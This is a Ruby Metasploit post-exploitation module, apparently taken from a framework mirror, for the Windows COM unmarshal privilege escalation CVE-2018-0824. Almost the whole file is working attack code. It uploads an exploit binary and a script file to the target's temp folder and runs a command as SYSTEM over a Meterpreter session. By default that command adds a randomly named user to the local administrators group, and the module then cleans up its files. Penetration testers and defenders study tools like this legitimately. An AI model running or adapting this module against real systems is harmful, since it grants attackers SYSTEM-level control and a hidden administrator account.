Files
metasploit-gs/modules/post/windows/escalate/unmarshal_cmd_exec.rb
T
2019-09-24 12:15:43 +01:00

174 lines
6.4 KiB
Ruby

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::File
# include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows unmarshal post exploitation',
'Description' => %q{
This module exploits a local privilege escalation bug which exists
in microsoft COM for windows when it fails to properly handle serialized objects.},
'References' =>
[
['CVE', '2018-0824'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],
['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],
['EDB', '44906']
],
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery
'Matthias Kaiser', # Exploit PoC
'Sanjay Gondaliya', # Modified PoC
'Pratik Shah <pratik@notsosecure.com>' # Metasploit module
],
'DisclosureDate' => 'Aug 05 2018',
'Platform' => ['win'],
'Arch' => ARCH_X64,
'License' => MSF_LICENSE,
))
register_options(
[
OptString.new('COMMAND',
[false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('SCRIPT_NAME',
[false, 'The filename to use for the COM script file (%RAND% by default).', nil]),
OptString.new('PATH',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
])
end
def setup
super
validate_active_host
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@exploit_path = "#{temp_path}\\#{exploit_name}"
@script_path = "#{temp_path}\\#{script_name}"
end
def populate_command
username = Rex::Text.rand_text_alpha((rand(8) + 6))
password = Rex::Text.rand_text_alpha((rand(8) + 6))
print_status("username = #{username}, password = #{password}")
cmd_to_run = 'net user /add ' + username + ' ' + password
cmd_to_run += ' & net localgroup administrators /add ' + username
print_status(cmd_to_run)
return cmd_to_run
end
def validate_active_host
begin
print_status("Attempting to Run on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_remote_path(path)
unless directory?(path)
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
end
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end
def ensure_clean_destination(path)
if file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end
def upload_exploit
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')
upload_file(exploit_path, local_exploit_path)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
end
def upload_script(cmd_to_run)
vprint_status("Creating the sct file with command #{cmd_to_run}")
local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')
script_template_data = ::IO.read(local_script_template_path)
vprint_status("script_template_data.length = #{script_template_data.length}")
full_command = 'cmd.exe /c ' + cmd_to_run
full_command = full_command
script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)
if script_data == nil
fail_with(Failure::BadConfig, "Failed to substitute command in script_template")
end
vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")
write_file(script_path, script_data)
vprint_status('Script uploaded successfully')
end
def run
if datastore['COMMAND'].nil?
cmd_to_run = populate_command
else
cmd_to_run = datastore['COMMAND']
end
print_status("exploit path is: #{exploit_path}")
print_status("script path is: #{script_path}")
print_status("command is: #{cmd_to_run}")
begin
validate_active_host
validate_target
validate_remote_path(temp_path)
ensure_clean_destination(exploit_path)
ensure_clean_destination(script_path)
vprint_status("Uploading Script to #{script_path}")
upload_script(cmd_to_run)
vprint_status("Uploading Exploit to #{exploit_path}")
upload_exploit
vprint_status('Launching Exploit...')
command_output = cmd_exec(exploit_path + ' ' + script_path)
vprint_status(command_output)
print_good('Exploit Completed')
ensure_clean_destination(exploit_path)
ensure_clean_destination(script_path)
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_good('Command failed, cleaning up')
print_error(e.message)
ensure_clean_destination(exploit_path)
ensure_clean_destination(script_path)
end
end
attr_reader :exploit_name
attr_reader :script_name
attr_reader :temp_path
attr_reader :exploit_path
attr_reader :script_path
end